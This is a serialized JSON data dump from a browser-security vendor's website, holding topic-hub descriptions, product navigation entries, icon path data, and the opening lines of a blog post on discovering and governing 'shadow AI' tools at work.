teams.",74,{"sys":576,"faqItemsCollection":578,"name":580,"slug":581,"tier":45,"intro":582,"faqTitle":59,"postCount":583,"hasPage":19},{"id":577},"topic-shadow-ai",{"items":579},[],"Shadow AI","shadow-ai","Shadow AI is employees’ unsanctioned use of AI tools at work, putting corporate data into chatbots and assistants that security teams never approved and can’t see. Push’s own browser telemetry shows AI adoption acting as a force multiplier for shadow IT — potentially now outscaling shadow SaaS — and this hub tracks that research, real-world breach examples, and practical controls.",20,{"sys":585,"faqItemsCollection":587,"name":589,"slug":590,"tier":45,"intro":591,"faqTitle":59,"postCount":592,"hasPage":19},{"id":586},"topic-shadow-saas",{"items":588},[],"Shadow SaaS","shadow-saas","Shadow SaaS is the cloud applications employees adopt for work without IT approval, each one creating unmanaged accounts, identities, and data outside your security controls. Push covers the problem end to end — from browser-based SaaS discovery to in-browser app banners and MFA enforcement — alongside breach analyses that show where unmanaged accounts lead.",75,{"sys":594,"faqItemsCollection":596,"name":598,"slug":599,"tier":45,"intro":600,"faqTitle":59,"postCount":601,"hasPage":19},{"id":595},"topic-siem",{"items":597},[],"SIEM","siem","A SIEM is only as good as the telemetry feeding it, and most log sources never see what happens inside the browser — where phishing, session token theft, and account takeover actually play out. Push streams browser-level detections and identity telemetry into SIEMs, and these posts show how that data improves detection fidelity and cuts alert fatigue.",19,{"sys":603,"faqItemsCollection":605,"name":607,"slug":608,"tier":45,"intro":609,"faqTitle":59,"postCount":610,"hasPage":19},{"id":604},"topic-social-engineering",{"items":606},[],"Social engineering","social-engineering","Social engineering is the manipulation of people — through phishing pages, help desk impersonation, vishing calls, and poisoned tenant invites — into handing over access that no exploit could take. Coverage here tracks how threat actors run these plays — drawing on Push’s ongoing investigation of live phishing infrastructure and criminal tooling.",59,{"sys":612,"faqItemsCollection":614,"name":616,"slug":617,"tier":31,"intro":618,"faqTitle":59,"postCount":557,"hasPage":6},{"id":613},"topic-supply-chain-security",{"items":615},[],"Supply chain security","supply-chain-security","Supply chain security extends beyond your own perimeter to the vendors, platforms, and browser extensions your organization depends on. A compromised third party can hand attackers legitimate access — as recent campaigns against SaaS providers have shown. Push’s research examines the browser-extension supply chain in particular: why extension risk scores fail to predict compromise, and how developers can harden extensions against takeover. These posts frame supply chain risk through a browser and identity lens.",{"sys":620,"faqItemsCollection":622,"name":624,"slug":625,"tier":45,"intro":626,"faqTitle":59,"postCount":627,"hasPage":19},{"id":621},"topic-swg",{"items":623},[],"SWG","swg","A secure web gateway (SWG) filters and inspects web traffic in transit, sitting in the network path between users and the internet. That position shows you the packet but not the session: Push’s research on AitM phishing kits documents how attackers break the signatures proxies rely on, and these posts explain why phishing detection is moving from the network path into the browser itself.",17,{"sys":629,"faqItemsCollection":631,"name":633,"slug":634,"tier":45,"intro":635,"faqTitle":59,"postCount":636,"hasPage":19},{"id":630},"topic-third-party-risk",{"items":632},[],"Third-party risk","third-party-risk","Third-party risk is the exposure your organization inherits from vendors, SaaS providers, and integrations that hold your data or access your tenants — a chain now extended one employee sign-up at a time. This hub collects Push’s breach analyses and guides for assessing OAuth integrations, managing browser extensions, and responding when a supplier is compromised.",44,{"sys":638,"faqItemsCollection":640,"name":642,"slug":643,"tier":31,"intro":644,"faqTitle":59,"postCount":398,"hasPage":19},{"id":639},"topic-threat-landscape",{"items":641},[],"Threat landscape","threat-landscape","The enterprise threat landscape is now defined by identity attacks: criminals log in with phished, stolen, or stuffed credentials rather than breaking infrastructure. Threat actors keep proving how effective help desk scams, MFA bypass, and session theft are against well-defended organizations. Drawing on breach analyses, annual phishing trend reviews, and in-the-wild campaign tracking, Push documents how attacker TTPs are shifting. This hub is where to follow those changes.",{"sys":646,"faqItemsCollection":648,"name":650,"slug":651,"tier":45,"intro":652,"faqTitle":59,"postCount":371,"hasPage":19},{"id":647},"topic-vishing",{"items":649},[],"Vishing","vishing","Vishing — voice phishing — uses phone calls to impersonate IT support, help desks, or employees, talking targets into password resets, MFA approvals, or opening attacker-controlled pages. Threat actors now routinely pair calls with AiTM phishing to hijack SSO accounts, a chain Push has analyzed across campaigns targeting hundreds of organizations.",{},"blogtopics","w0ITersBlkytyrxHNkTEFmGsSW5X9NfdbmeXV1u8bAo",[657,661,665,669,673],{"title":658,"logo":659,"createdDate":660},"SOC2","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fb6727a5e00004d6e9e69fc3068b8b64c",1784291539953,{"title":662,"logo":663,"createdDate":664},"GDPR","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ffe49f53211674deaa5a6640d929cdf42?format=webp",1784291672535,{"title":666,"logo":667,"createdDate":668},"Cyber essentials","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F53558c1045a342a7a28def960cd54ae7?format=webp",1784291702710,{"title":670,"logo":671,"createdDate":672},"ISO IEC 27001","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F578a404a61cf45db951a41fe3554d12d",1784291766222,{"title":674,"logo":675,"createdDate":676},"ISO IEC 27701","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Fbe219844b13242fbba531959579a753c",1784291858848,[678,730,775],{"id":679,"label":680,"text":21,"navIcon":681,"items":682},"stop-browser-based-attacks","Stop browser-based attacks","solid:faShieldHalved",[683,688,693,698,703,708,712,717,721,725],{"title":684,"text":685,"url":686,"navIcon":687},"Adversary-in-the-Middle","Detect and block AiTM proxies stealing session tokens.","/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks","solid:faUserSecret",{"title":689,"text":690,"url":691,"navIcon":692},"ClickFix (+Fix variants)","Block attacks that trick users into running malicious code.","/solution/stop-browser-based-attacks/clickfix-fix-variants","sharp-regular:faLaptopCode",{"title":694,"text":695,"url":696,"navIcon":697},"Malicious OAuth integrations","Detect suspicious OAuth consent flows and stop persistent access.","/solution/stop-browser-based-attacks/malicious-oauth-integrations","solid:faPlugCircleXmark",{"title":699,"text":700,"url":701,"navIcon":702},"Malicious browser extensions","Shine a light on risky browser extensions.","/solution/stop-browser-based-attacks/malicious-browser-extensions","sharp-regular:faPuzzlePiece",{"title":704,"text":705,"url":706,"navIcon":707},"Malicious file downloads","Gain visibility into browser downloads and block malicious files.","/solution/stop-browser-based-attacks/malicious-file-downloads","solid:faFileCircleXmark",{"title":395,"text":709,"url":710,"navIcon":711},"Surface hidden login paths that bypass SSO and expose accounts.","/solution/stop-browser-based-attacks/ghost-logins","solid:faGhost",{"title":713,"text":714,"url":715,"navIcon":716},"Mobile phishing (QR & SMS)","Detect phishing links delivered via SMS and QR codes.","/solution/stop-browser-based-attacks/mobile-phishing-qr-code-sms","solid:faQrcode",{"title":333,"text":718,"url":719,"navIcon":720},"Identify reused and compromised credentials across SaaS logins.","/solution/stop-browser-based-attacks/credential-stuffing","custom:credentialStuffing",{"title":571,"text":722,"url":723,"navIcon":724},"Detect and block stolen session tokens before attackers get access.","/solution/stop-browser-based-attacks/session-hijacking","solid:faCookieBite",{"title":726,"text":727,"url":728,"navIcon":729},"Zero-day phishing","Detect phishing TTPs directly in the browser and stop credential theft.","/solution/stop-browser-based-attacks/zero-day-phishing","sharp-regular:faFishingRod",{"id":731,"label":732,"text":21,"navIcon":733,"items":734},"achieve-security-outcomes","Achieve security outcomes","solid:faCheckToSlot",[735,740,745,750,755,760,765,770],{"title":736,"text":737,"url":738,"navIcon":739},"Stop account takeover","Stop ATO with stolen credential and compromised token detection.","/solution/achieve-security-outcomes/stop-account-takeover","sharp-regular:faUserSecret",{"title":741,"text":742,"url":743,"navIcon":744},"Harden unmanaged identities","Harden access paths with visibility, detection, and guardrails.","/solution/achieve-security-outcomes/harden-unmanaged-identities","sharp-regular:faRadar",{"title":746,"text":747,"url":748,"navIcon":749},"Investigate browser-related incidents","Investigate and respond faster with unique browser telemetry.","/solution/achieve-security-outcomes/investigate-browser-related-incidents","sharp-regular:faSatelliteDish",{"title":751,"text":752,"url":753,"navIcon":754},"Secure shadow SaaS","See and control shadow SaaS in the browser.","/solution/achieve-security-outcomes/secure-shadow-saas","sharp-regular:faShieldCheck",{"title":756,"text":757,"url":758,"navIcon":759},"Secure AI","See and control AI apps in the browser.","/solution/achieve-security-outcomes/secure-ai","sharp-regular:faBrainCircuit",{"title":761,"text":762,"url":763,"navIcon":764},"Secure BYOD","Extend consistent browser-based protection to unmanaged devices.","/solution/achieve-security-outcomes/secure-bring-your-own-device","solid:faMobileScreenButton",{"title":766,"text":767,"url":768,"navIcon":769},"Secure Chromebooks","Secure browser activity on Chromebooks without endpoint agents.","/solution/achieve-security-outcomes/secure-chromebooks","brands:faChrome",{"title":771,"text":772,"url":773,"navIcon":774},"Investigate and stop data loss","Detect and prevent data loss across AI tools, apps, and sessions.","/solution/achieve-security-outcomes/investigate-and-stop-data-loss","custom:investigateAndStopDataLoss",{"id":776,"label":777,"text":21,"navIcon":778,"items":779},"tool-replacements","Tool replacements","solid:faScrewdriverWrench",[780,785,790,795],{"title":781,"text":782,"url":783,"navIcon":784},"Remote browser isolation","Detect attacks that look like normal browsing.","/solution/tool-replacements/remote-browser-isolation","solid:faDisplay",{"title":786,"text":787,"url":788,"navIcon":789},"Secure web gateways","Detect attacks inside the browser after SWGs allowed the connection.","/solution/tool-replacements/secure-web-gateways","solid:faFilter",{"title":791,"text":792,"url":793,"navIcon":794},"Cloud access security broker","Catch browser-based identity threats in real time, not after the fact.","/solution/tool-replacements/cloud-access-security-broker","solid:faCloudArrowUp",{"title":796,"text":797,"url":798,"navIcon":799},"Security awareness training","Block real phishing instead of training users on simulations.","/solution/tool-replacements/security-awareness-training","custom:securityAwareness",{"w":801,"h":802,"d":803},448,512,"M171-16c-36.4 0-57.8 58.3-68.3 112L72 96c-13.3 0-24 10.7-24 24s10.7 24 24 24l24 0 0 32c0 17 3.3 33.2 9.3 48l-9.3 0 0 0-20.5 0c-15.2 0-27.5 12.3-27.5 27.5 0 3 .5 5.9 1.4 8.7l28.9 86.6C40.2 379.6 16 428.1 16 482.3 16 498.7 29.3 512 45.7 512l356.6 0c16.4 0 29.7-13.3 29.7-29.7 0-54.2-24.2-102.7-62.3-135.4l28.9-86.6c.9-2.8 1.4-5.7 1.4-8.7 0-15.2-12.3-27.5-27.5-27.5l-20.5 0 0 0-9.3 0c6-14.8 9.3-31 9.3-48l0-32 24 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-30.7 0c-10.4-53.7-31.9-112-68.3-112-9.6 0-19 3.9-27.5 8.2-8.2 4.1-18.4 7.8-25.5 7.8s-17.3-3.7-25.5-7.8C190-12.1 180.6-16 171-16zm93.7 484.4l-24.8-70.9 27.9-32.5c2.7-3.2 4.2-7.2 4.2-11.4 0-9.7-7.8-17.5-17.5-17.5l-61 0c-9.7 0-17.5 7.8-17.5 17.5 0 4.2 1.5 8.2 4.2 11.4l27.9 32.5-24.8 70.9-57-180.4 35.7 0c18.4 10.2 39.5 16 62 16s43.6-5.8 62-16l35.7 0-57 180.4zM224 256c-34.7 0-64.2-22.1-75.3-53 5.7 3.2 12.3 5 19.3 5l12.4 0c16.5 0 31.1-10.6 36.3-26.2 2.3-7 12.2-7 14.5 0 5.2 15.6 19.9 26.2 36.3 26.2l12.4 0c7 0 13.6-1.8 19.3-5-11.1 30.9-40.6 53-75.3 53z",{"w":17,"h":802,"d":805},"M112 80l416 0 0 224 48 0 0-272-512 0 0 272 48 0 0-224zM48 404.1l0-4.1 544 0 0 4.1-27.9 27.9-488.2 0-27.9-27.9zM592 352l-592 0 0 72 56 56 528 0 56-56 0-72-48 0zM281 169l17-17-33.9-33.9c-6.1 6.1-27.8 27.8-65 65l-17 17c6.1 6.1 27.8 27.8 65 65l17 17 33.9-33.9c-9-9-25-25-48-48l31-31zM393 135l-17-17-33.9 33.9c9 9 25 25 48 48-23 23-39 39-48 48L376 281.9c6.1-6.1 27.8-27.8 65-65l17-17c-6.1-6.1-27.8-27.8-65-65z",{"w":17,"h":802,"d":807},"M192-32c17.7 0 32 14.3 32 32l0 96 128 0 0-96c0-17.7 14.3-32 32-32s32 14.3 32 32l0 96 64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l0 48.7c-98.6 8.1-176 90.7-176 191.3 0 27.3 5.7 53.3 16 76.9l0 3.1c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-66.7C165.2 398.1 96 319.1 96 224l0-64c-17.7 0-32-14.3-32-32S78.3 96 96 96l64 0 0-96c0-17.7 14.3-32 32-32zM496 256a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0l-36.7 36.7-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l36.7 36.7-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l36.7-36.7 36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-36.7-36.7 36.7-36.7z",{"w":802,"h":802,"d":809},"M201.1 57.3c-7 5.3-9.1 10.7-9.1 14.7 0 4.5 2.8 11.2 12.4 16.9l11.6 7 0 48.1-168 0 0 60.5c7.4-2.9 15.5-4.5 24-4.5 43.1 0 72 39.4 72 80s-28.9 80-72 80c-8.5 0-16.6-1.6-24-4.5l0 108.5 108.5 0c-2.9-7.4-4.5-15.5-4.5-24 0-43.1 39.4-72 80-72s80 28.9 80 72c0 8.5-1.6 16.6-4.5 24l60.5 0 0-168 48.1 0 7 11.6c5.8 9.6 12.4 12.4 16.9 12.4 4 0 9.5-2.1 14.7-9.1s9.3-17.9 9.3-30.9-4-23.8-9.3-30.9-10.7-9.1-14.7-9.1c-4.5 0-11.2 2.8-16.9 12.4l-7 11.6-48.1 0 0-120-120 0 0-48.1 11.6-7c9.6-5.8 12.4-12.4 12.4-16.9 0-4-2.1-9.5-9.1-14.7S245 48 232 48 208.2 52 201.1 57.3zM172.3 18.9C188.5 6.8 209.6 0 232 0S275.5 6.8 291.7 18.9 320 49.5 320 72c0 8.6-1.8 16.7-4.9 24l100.9 0 0 100.9c7.3-3.1 15.4-4.9 24-4.9 22.5 0 41 12.2 53.1 28.3s18.9 37.3 18.9 59.7-6.8 43.5-18.9 59.7-30.6 28.3-53.1 28.3c-8.6 0-16.7-1.8-24-4.9l0 148.9-168 0 0-49.3 8.2-7.2c5.4-4.7 7.8-10.3 7.8-15.5 0-9.9-10.7-24-32-24s-32 14.1-32 24c0 5.3 2.4 10.8 7.8 15.5l8.2 7.2 0 49.3-216 0 0-216 49.3 0 7.2 8.2c4.7 5.4 10.3 7.8 15.5 7.8 9.9 0 24-10.7 24-32s-14.1-32-24-32c-5.3 0-10.8 2.4-15.5 7.8L49.3 264 0 264 0 96 148.9 96c-3.1-7.3-4.9-15.4-4.9-24 0-22.5 12.2-41 28.3-53.1z",{"w":811,"h":802,"d":812},576,"M96 0C60.7 0 32 28.7 32 64l0 384c0 35.3 28.7 64 64 64l180 0c-22.7-31.5-36-70.2-36-112 0-100.6 77.4-183.2 176-191.3l0-38.1c0-17-6.7-33.3-18.7-45.3L290.7 18.7C278.7 6.7 262.5 0 245.5 0L96 0zM357.5 176L264 176c-13.3 0-24-10.7-24-24L240 58.5 357.5 176zM432 544a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7l-36.7 36.7 36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0l-36.7-36.7-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l36.7-36.7-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l36.7 36.7 36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z",{"w":814,"h":802,"d":815},384,"M40.1 467.1l-11.2 9C25.7 478.6 21.8 480 17.8 480 8 480 0 472 0 462.2L0 192C0 86 86 0 192 0S384 86 384 192l0 270.2c0 9.8-8 17.8-17.8 17.8-4 0-7.9-1.4-11.1-3.9l-11.2-9c-13.4-10.7-32.8-9-44.1 3.9L269.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6l-26.6-30.5c-12.7-14.6-35.4-14.6-48.2 0L141.3 506c-3.3 3.8-8.2 6-13.3 6s-9.9-2.2-13.3-6L84.2 471c-11.3-12.9-30.7-14.6-44.1-3.9zM160 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z",{"w":801,"h":802,"d":817},"M64 160l64 0 0-64-64 0 0 64zM0 80C0 53.5 21.5 32 48 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48L0 80zM64 416l64 0 0-64-64 0 0 64zM0 336c0-26.5 21.5-48 48-48l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96zM320 96l0 64 64 0 0-64-64 0zM304 32l96 0c26.5 0 48 21.5 48 48l0 96c0 26.5-21.5 48-48 48l-96 0c-26.5 0-48-21.5-48-48l0-96c0-26.5 21.5-48 48-48zM288 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm0 64c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm96 32c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm32-96a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-32 32a32 32 0 1 1 -64 0 32 32 0 1 1 64 0z",{"w":802,"h":802,"d":819},"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9-.9-5.3-5.3-9.3-10.6-10.1-51.5-8.2-92.8-47.1-104.5-97.4-1.8-7.6-8-13.4-15.7-14.6-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z",{"w":801,"h":802,"d":821},"M284.6 0l91.4 0 0 160-48 0 0-112-36.6 0-203.4 58.1 0 181.9 40 0 0 224-128 0 0-224 40 0 0-218.1 17.4-5 224-64 3.2-.9zM80 336l-32 0 0 128 32 0 0-128zm176 8c0-76.8 64-136 96-152 32 16 96 75.2 96 152 0 32-16 80-64 112l32 40 0 16-128 0 0-16 32-40c-48-32-64-80-64-112zm128-32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z",{"w":801,"h":802,"d":823},"M144-16l-48 112-48 0 0 48 48 0 0 32c0 17 3.3 33.2 9.3 48l-73.3 0 0 32 5.3 16 26.7 80-64 160 51.7 0 56.9-142.2 6.5-16.3c-1-3.1-10.1-30.3-27.2-81.5l51.4 0c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32l51.4 0c-17.1 51.2-26.1 78.4-27.2 81.5l6.5 16.3 56.9 142.2 51.7 0-64-160 26.7-80 5.3-16 0-32-73.3 0c6-14.8 9.3-31 9.3-48l0-32 48 0 0-48-48 0-48-112-32 0-48 32-48-32-32 0zm80 272c-32.8 0-61-19.7-73.3-48l57.3 0 16-40 16 40 57.3 0c-12.3 28.3-40.5 48-73.3 48zm17.5 139.6l30.5-35.6 0-24-96 0 0 24 30.5 35.6-46.5 116.4 128 0-46.5-116.4z",{"w":802,"h":802,"d":825},"M497.4 49l17-17-33.9-33.9C473.6 4.9 453.3 25.2 419.7 58.8 375.4 22.1 318.5 0 256.4 0 115.1 0 .4 114.6 .4 256s114.6 256 256 256 256-114.6 256-256l-48 0c0 114.9-93.1 208-208 208s-208-93.1-208-208 93.1-208 208-208c48.8 0 93.7 16.8 129.1 44.9l-45.7 45.7c-23.5-16.8-52.3-26.6-83.4-26.6-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144l-48 0c0 53-43 96-96 96s-96-43-96-96 43-96 96-96c17.8 0 34.5 4.8 48.8 13.3-52 52-79.5 79.5-82.7 82.7l33.9 33.9 17-17 224-224z",{"w":802,"h":802,"d":827},"M208 0l24 0C386.6 0 512 125.4 512 280l0 24-48 0 0-24C464 151.9 360.1 48 232 48l-24 0 0-48zm24 96c101.6 0 184 82.4 184 184l0 24-48 0 0-24c0-75.1-60.9-136-136-136l-24 0 0-48 24 0zM48 256c0 114.9 93.1 208 208 208 22.9 0 45-3.7 65.6-10.5l-263-263C51.7 211 48 233.1 48 256zM0 256c0-36.5 7.6-71.3 21.4-102.7 6.7-15.3 14.9-29.9 24.4-43.5 7.7 7.7 61.5 61.5 161.2 161.2 30.5-30.5 49.5-49.5 57-57L297.9 248c-7.5 7.5-26.5 26.5-57 57 99.7 99.7 153.5 153.5 161.2 161.2-13.6 9.5-28.2 17.7-43.5 24.4-31.4 13.8-66.2 21.4-102.7 21.4-141.4 0-256-114.6-256-256z",{"w":802,"h":802,"d":829},"M267.6 4.5l207.5 80.5 19.2 7.4 1.2 20.5c2.9 50-4.9 126.3-37.3 200.9-32.7 75.2-91.1 150-189.4 192.5l-12.7 5.5-12.7-5.5C144.9 463.9 86.6 389.2 53.9 313.9 21.5 239.3 13.7 162.9 16.6 113L17.8 92.5 37 85 244.5 4.5 256 0 267.6 4.5zM64.1 126C63.1 169.5 71 232.9 97.9 294.8 126.1 359.7 175 422.4 256 459.6 337.1 422.4 385.9 359.7 414.2 294.8 441 232.9 449 169.5 448 126L256 51.5 64.1 126zm302.3 44.7L352.3 190.1 249.8 330.9 233 354c-8.8-9.1-30.9-32-66.2-68.6l-16.7-17.3 34.5-33.3c9.5 9.8 23.9 24.7 43.2 44.7l85.6-117.7 14.1-19.4 38.8 28.2z",{"w":802,"h":802,"d":831},"M192 48l40 0 0 108-12.4 0c-7.6-16.5-24.3-28-43.6-28-26.5 0-48 21.5-48 48s21.5 48 48 48c19.4 0 36.1-11.5 43.6-28l12.4 0 0 56-92 0 0 56.4c-16.5 7.6-28 24.3-28 43.6 0 26.5 21.5 48 48 48s48-21.5 48-48c0-19.4-11.5-36.1-28-43.6l0-16.4 52 0 0 172-40 0c-16.8 0-31.2-10.3-37.1-25.1l-6.4-16-17.2 1c-1.1 .1-2.2 .1-3.2 .1-30.9 0-56-25.1-56-56 0-9.5 2.4-18.5 6.5-26.3l8.7-16.2-13.4-12.6c-11-10.2-17.8-24.8-17.8-40.9 0-21.6 12.2-40.4 30.3-49.8l22.6-11.7-13.1-21.9c-5-8.4-7.9-18.1-7.9-28.6 0-30.9 25.1-56 56-56l24 0 0-32c0-13.3 10.7-24 24-24zm88 148l12.4 0c7.6 16.5 24.3 28 43.6 28 26.5 0 48-21.5 48-48s-21.5-48-48-48c-19.4 0-36.1 11.5-43.6 28l-12.4 0 0-108 40 0c13.3 0 24 10.7 24 24l0 32 24 0c30.9 0 56 25.1 56 56 0 10.5-2.9 20.3-7.9 28.6l-13.1 21.9 22.6 11.7c18 9.3 30.3 28.1 30.3 49.8 0 16.1-6.8 30.7-17.8 40.9l-13.4 12.6 8.7 16.2c4.2 7.8 6.5 16.7 6.5 26.3 0 30.9-25.1 56-56 56-1.1 0-2.2 0-3.2-.1l-17.2-1-6.4 16C351.2 453.7 336.8 464 320 464l-40 0 0-76 92 0 0-56.4c16.5-7.6 28-24.3 28-43.6 0-26.5-21.5-48-48-48s-48 21.5-48 48c0 19.4 11.5 36.1 28 43.6l0 16.4-52 0 0-152zM192 512l128 0c31.1 0 58.4-16.2 74.1-40.5 52.7-5.1 93.9-49.5 93.9-103.5 0-11.5-1.9-22.5-5.3-32.9 13.4-17.5 21.3-39.4 21.3-63.1 0-32-14.5-60.6-37.1-79.7 3.3-10.2 5.1-21.1 5.1-32.3 0-49.6-34.8-91.1-81.3-101.5-6.3-33.3-35.6-58.5-70.7-58.5L192 0c-35.1 0-64.4 25.2-70.7 58.5-46.5 10.4-81.3 51.9-81.3 101.5 0 11.3 1.8 22.2 5.1 32.3-22.7 19.1-37.1 47.7-37.1 79.7 0 23.7 8 45.6 21.3 63.1-3.5 10.4-5.3 21.4-5.3 32.9 0 54 41.2 98.5 93.9 103.5 15.6 24.3 42.9 40.5 74.1 40.5zM336 192a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm32 96a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zM176 352a16 16 0 1 1 -32 0 16 16 0 1 1 32 0zm16-176a16 16 0 1 1 -32 0 16 16 0 1 1 32 0z",{"w":814,"h":802,"d":833},"M16 64C16 28.7 44.7 0 80 0L304 0c35.3 0 64 28.7 64 64l0 384c0 35.3-28.7 64-64 64L80 512c-35.3 0-64-28.7-64-64L16 64zm64 0l0 304 224 0 0-304-224 0zM192 472c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z",{"w":802,"h":802,"d":835},"M0 256c0-46.6 12.5-90.4 34.3-128.9L144.1 318.3c21.9 39.2 63.8 65.7 111.9 65.7 14.3 0 27.1-2.3 40.8-6.6L220.5 509.6C95.9 492.3 0 385.3 0 256zm365.1 65.6c12.3-19.2 18.9-42.5 18.9-65.6 0-38.2-16.8-72.5-43.3-96l152.7 0c12 29.6 18.6 62.1 18.6 96 0 141.4-114.6 255.1-256 256L365.1 321.6zM477.8 128L256 128c-62.9 0-113.7 44.1-125.5 102.7L54.2 98.5C101 38.5 174 0 256 0 350.8 0 433.5 51.5 477.8 128zM344 256a88 88 0 1 1 -176 0 88 88 0 1 1 176 0z",{"w":802,"h":802,"d":837},"M448 96l0 256-384 0 0-256 384 0zM64 32C28.7 32 0 60.7 0 96L0 352c0 35.3 28.7 64 64 64l144 0-16 48-72 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l272 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-72 0-16-48 144 0c35.3 0 64-28.7 64-64l0-256c0-35.3-28.7-64-64-64L64 32z",{"w":802,"h":802,"d":839},"M32 64C19.1 64 7.4 71.8 2.4 83.8S.2 109.5 9.4 118.6L192 301.3 192 416c0 8.5 3.4 16.6 9.4 22.6l64 64c9.2 9.2 22.9 11.9 34.9 6.9S320 492.9 320 480l0-178.7 182.6-182.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 64 480 64L32 64z",{"w":811,"h":802,"d":841},"M144 480c-79.5 0-144-64.5-144-144 0-63.4 41-117.2 97.9-136.5-1.3-7.7-1.9-15.5-1.9-23.5 0-79.5 64.5-144 144-144 55.4 0 103.5 31.3 127.6 77.1 14.2-8.3 30.8-13.1 48.4-13.1 53 0 96 43 96 96 0 15.7-3.8 30.6-10.5 43.7 44 20.3 74.5 64.7 74.5 116.3 0 70.7-57.3 128-128 128l-304 0zM305 191c-9.4-9.4-24.6-9.4-33.9 0l-72 72c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l31-31 0 102.1c0 13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",[843,4943,8226,11706,14748,17685,20559,23571,28074,33489,36187,41128,44412,47050,50004,52840,56987,62146,65340,67945,71113,73926],{"id":844,"title":845,"authorsCollection":846,"content":854,"extension":228,"faqItemsCollection":1864,"faqTitle":2052,"featured":6,"hashTags":59,"meta":2053,"metaTitle":2054,"ogImage":59,"postType":59,"publishedDate":2055,"relatedBlogPostsCollection":2056,"slug":4882,"stem":4883,"subtitle":4884,"summary":4885,"synopsis":4895,"sys":4896,"tagsCollection":4899,"topicsCollection":4908,"__hash__":4942},"blog/blog/shadow-ai-how-to-discover-govern-and-secure-ai-apps.json","Shadow AI: how to discover, govern, and secure AI apps",{"items":847},[848],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":852},"Kelly Davenport","Kelly","Product Team",{"url":853},"https://images.ctfassets.net/y1cdw1ablpvd/1hi8bEuVfn5sF57LivAq6d/9a3b82426c697d765e2e450e33a18424/kelly_profile_pic.jpeg",{"json":855,"links":1710},{"nodeType":856,"data":857,"content":858},"document",{},[859,868,875,926,933,940,995,1004,1008,1017,1024,1036,1042,1054,1060,1072,1078,1081,1089,1096,1115,1126,1133,1140,1143,1151,1158,1183,1189,1196,1212,1228,1234,1250,1266,1273,1280,1287,1293,1296,1304,1311,1319,1326,1342,1349,1374,1380,1387,1393,1405,1412,1418,1424,1427,1435,1442,1461,1468,1476,1483,1495,1511,1517,1529,1563,1570,1586,1592,1608,1615,1622,1625,1633,1640,1647,1654,1661,1668,1675,1678,1685,1692],{"nodeType":860,"data":861,"content":862},"paragraph",{},[863],{"nodeType":864,"value":865,"marks":866,"data":867},"text","Every security team that's blocked an AI tool at the network level has had the same experience three months later: The tool they blocked isn't in use, but a dozen they've never heard of are.",[],{},{"nodeType":860,"data":869,"content":870},{},[871],{"nodeType":864,"value":872,"marks":873,"data":874},"The block didn't stop employees from using AI. It just prevented the security team from seeing what’s actually happening.",[],{},{"nodeType":860,"data":876,"content":877},{},[878,882,891,895,901,905,910,914,922],{"nodeType":864,"value":879,"marks":880,"data":881},"The data backs up this pattern. 